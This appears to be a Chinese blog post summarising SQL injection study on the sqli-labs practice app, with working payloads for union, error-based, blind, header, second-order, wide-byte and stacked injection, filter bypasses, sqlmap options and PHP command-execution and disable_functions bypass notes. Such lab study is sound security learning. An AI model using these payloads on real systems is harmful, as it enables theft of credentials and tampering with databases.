SQL注入学习总结

SQL注入基础

一、核心函数汇总

截断函数

substr(str, start, length) / substring()

left(str, length) / right(str, length)

mid(str, start, length)

判断函数

length(str) - 返回字符串的长度

ascii(char) - 返回字符对应的 ASCII 值

if(condition, true_val, false_val) - 实现条件判断逻辑

关键数据库表

information_schema 库包含以下核心表:

  1. SCHEMATA - 存储所有数据库名称

  2. TABLES - 存储所有数据表名称

3.COLUMNS - 存储所有数据列名称

二、Less-1 联合查询注入

完整复现流程:

定位注入点

bash 复制代码
http://localhost/sqli/Less-1/?id=1'

页面出现报错信息,由此确认存在单引号类型的 SQL 注入漏洞。

2.确定查询列数

?id=1' order by 1--+

?id=1' order by 2--+

?id=1' order by 3--+ # 页面正常显示

?id=1' order by 4--+ # 页面报错,判定查询列数为3列

3.确认回显位置

bash 复制代码
?id=-1' union select 1,2,3--+

可看到回显位置为第 2 列和第 3 列。

4.获取当前数据库名称

bash 复制代码
?id=-1' union select 1,database(),3--+

查询结果为:security。

5.获取数据库中所有表名

bash 复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

查询结果为:emails,referers,uagents,users。

6.获取 users 表的所有列名

bash 复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查询结果为:id,username,password。

7.提取账号与密码信息

bash 复制代码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

三、报错注入

updatexml () 函数注入示例

bash 复制代码
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+

常用报错注入函数

extractvalue() - 利用 XPath 语法错误触发报错,返回内容最多 32 位

updatexml() - 利用 XPath 解析错误触发报错,返回内容最多 32 位

floor()+rand()+group by - 利用主键重复冲突触发报错

exp() - 利用数值溢出触发报错(需 MySQL 5.5.5 及以上版本)

geometrycollection()/multipoint()/polygon() - 利用几何函数语法错误触发报错

NAME_CONST() - 利用重复列名问题触发报错

四、Less-5 布尔盲注

该场景下页面仅返回两种状态(正常 / 错误),需通过布尔判断的方式逐字符提取数据。

核心思路

猜测数据库名长度:?id=1' and length(database())=8--+

逐字符猜解数据库名:?id=1' and ascii(substr(database(),1,1))=115--+

可借助 Burp Intruder 工具或 Python 脚本实现自动化猜解

五、信息收集技巧

子域名查询常用工具

1、layer 子域名挖掘机

2、子域名破解工具

HTTP 头注入与绕过

一、Less-18 User-Agent 注入

注入点位于 User-Agent 请求头中,示例如下:

bash 复制代码
POST /sqli/Less-18/

User-Agent: ' OR extractvalue(1,concat('!',database())) OR '

uname=admin&passwd=123&submit=Submit

二、Less-19 Referer 注入

注入点位于 Referer 请求头中,注入方法与 Less-18 一致。

三、Less-20 Cookie 注入

Cookie 参数值被直接带入 SQL 语句执行,注入示例:

bash 复制代码
Cookie: uname=admin' union select 1,user(),3#

四、Less-23 注释符绕过

目标环境过滤了#和--+注释符,可使用;%00或语句闭合的方式绕过限制:

bash 复制代码
?id=-1' union select 1,2,3 or '1'='1

五、Less-24 二次注入

步骤:

注册恶意账号:

用户名:admin'#

密码:123456

使用 admin'# 账号登录,获取对应的 session 凭证

执行密码修改操作

将新密码设置为:passwd1

原理分析

后台执行的 SQL 语句为:

bash 复制代码
UPDATE users SET PASSWORD='$pass' WHERE username='$username'

实际拼接后执行的语句:

bash 复制代码
UPDATE users SET PASSWORD='passwd1' WHERE username='admin'#'

其中#注释了后续内容,最终修改的是 admin 账号的密码

六、Less-25 双写绕过

目标环境过滤了or和and关键字,可通过双写关键字的方式绕过:

bash 复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

七、Less-26 空格过滤绕过

目标环境过滤了空格,可采用以下方式替代空格:

/**/ - 利用注释符替代空格

%0a - 利用换行符替代空格

() - 利用括号包裹运算符替代空格

示例:

bash 复制代码
?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1

八、Less-27 大小写绕过

示例:

bash 复制代码
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00

九、SQLMap 使用

bash 复制代码
sqlmap -u "url" --level=5 --risk=3 --technique=BEUSTQ

--level: 测试级别(1-5),级别越高包含的测试载荷越多

--risk: 风险级别(1-3),级别3会包含基于or的注入测试载荷

--technique: 指定注入技术类型

B: 布尔盲注

E: 报错注入

U: 联合查询注入

S: 堆叠查询注入

T: 时间盲注

Q: 内联查询注入

宽字节与堆叠注入

一、Less-32 宽字节注入

原理说明:GBK 编码中,一个汉字由两个字节组成。当输入%df'时:

%df会与转义符\(对应十六进制 0x5C)组合成%df%5c

该组合在 GBK 编码中会被解析为汉字運

原本被转义的单引号因此逃逸出来,触发注入

示例:

bash 复制代码
?id=-1%df' union select 1,user(),3--+

二、Less-37 POST 宽字节注入

bash 复制代码
uname=admin%df'#

passwd=123

三、Less-38 堆叠注入

原理说明:堆叠注入允许执行多条 SQL 语句

示例语句:

bash 复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+

使用限制:

不适用于 union/select/insert 等语句的常规组合场景

更适用于文件操作、数据修改等场景

四、编码对比

编码方式的核心特点

GBK 汉字占用 2 个字节,属于固定长度编码

UTF-8 可变长度编码,汉字通常占用 3 个字节

Unicode 固定长度编码,无变长特性

ThinkPHP 漏洞

一、ThinkPHP 5.0.13-5.0.15 SQL 注入

环境搭建步骤

下载 ThinkPHP 5.0.15 版本源码

Windows 环境配置:

将源码中的framework目录重命名为thinkphp

配置虚拟主机,将根目录指向项目的public目录

虚拟主机配置示例(Apache):

bash 复制代码
<VirtualHost *:80>

    DocumentRoot "D:/tp5/public"

    ServerName tp5.com

</VirtualHost>

预编译绕过

一、MySQL 预编译机制

真预编译

执行流程:建立数据库连接 → 构建 SQL 语法树 → 执行语句

SQL 语句结构与传入参数完全分离

可有效抵御 SQL 注入攻击

通常应用于生产环境

虚假预编译

本质为字符串拼接操作

16 进制编码方式可能被绕过

存在宽字节注入的风险

预编译失效场景

ORDER BY 子句

ORDER BY 后接标识符,而非数据值

预编译机制无法作用于该位置

解决方案:采用白名单方式验证参数

GROUP BY 子句

与 ORDER BY 子句原理一致,预编译机制失效

二、MySQL 绕过技术总结

编码绕过:16 进制编码、URL 编码

注释绕过:/**/、/*!*/

大小写绕过

双写关键字绕过

特殊字符绕过:%0a、%09

宽字节绕过

三、未授权访问

文件操作相关问题:

数据库配置不当可能导致未授权访问漏洞

默认弱口令易引发安全风险

RCE 与综合漏洞

一、PostgreSQL 注入

simple_query 协议

具备参数绑定机制

存在请求体溢出类漏洞

复现需大内存环境,实际操作难度较高

二、请求走私

通过构造特殊格式的 HTTP 请求,绕过 WAF 的检测规则。

三、DataEase

数据分析平台相关漏洞利用

参考文档:

https://www.cnblogs.com/cwkiller/p/18957721

四、RCE 远程命令执行

PHP 常用命令执行函数

函数 功能说明

system() 直接执行系统命令并输出执行结果

exec() 执行系统命令,需配合 echo 输出结果

shell_exec() 执行系统命令,返回执行结果的字符串

passthru() 直接输出系统命令的执行结果

proc_open() 进程控制函数,使用方式更灵活

popen() 打开进程管道执行命令

eval() 执行传入的 PHP 代码

assert() 执行传入的 PHP 代码(PHP 7 版本中功能有变更)

常用回调函数

call_user_func()

call_user_func_array()

array_map()

usort() / uasort()

disable_functions 绕过方法

LD_PRELOAD:通过环境变量劫持系统函数

Shellshock:利用 bash 破壳漏洞实现绕过

FFI:借助 PHP 7.4 + 版本的外部函数接口

COM 组件(仅 Windows 环境)

ImageMagick 漏洞利用

GC UAF:利用 PHP 垃圾回收机制的 UAF 漏洞

相关推荐
what丶k2 小时前
深入解析Redis数据持久化:RBD机制原理、实操与生产最佳实践
数据库·redis·缓存
瀚高PG实验室3 小时前
通过数据库日志获取数据库中的慢SQL
数据库·sql·瀚高数据库
Hgfdsaqwr3 小时前
Python在2024年的主要趋势与发展方向
jvm·数据库·python
云小逸3 小时前
【网络通信】同一网段与不同网段的通信原理
网络·网络安全
invicinble3 小时前
对于Mysql深入理解
数据库·mysql
阳光九叶草LXGZXJ4 小时前
达梦数据库-学习-47-DmDrs控制台命令(LSN、启停、装载)
linux·运维·数据库·sql·学习
Hgfdsaqwr4 小时前
掌握Python魔法方法(Magic Methods)
jvm·数据库·python
s1hiyu4 小时前
使用Scrapy框架构建分布式爬虫
jvm·数据库·python
2301_763472464 小时前
使用Seaborn绘制统计图形:更美更简单
jvm·数据库·python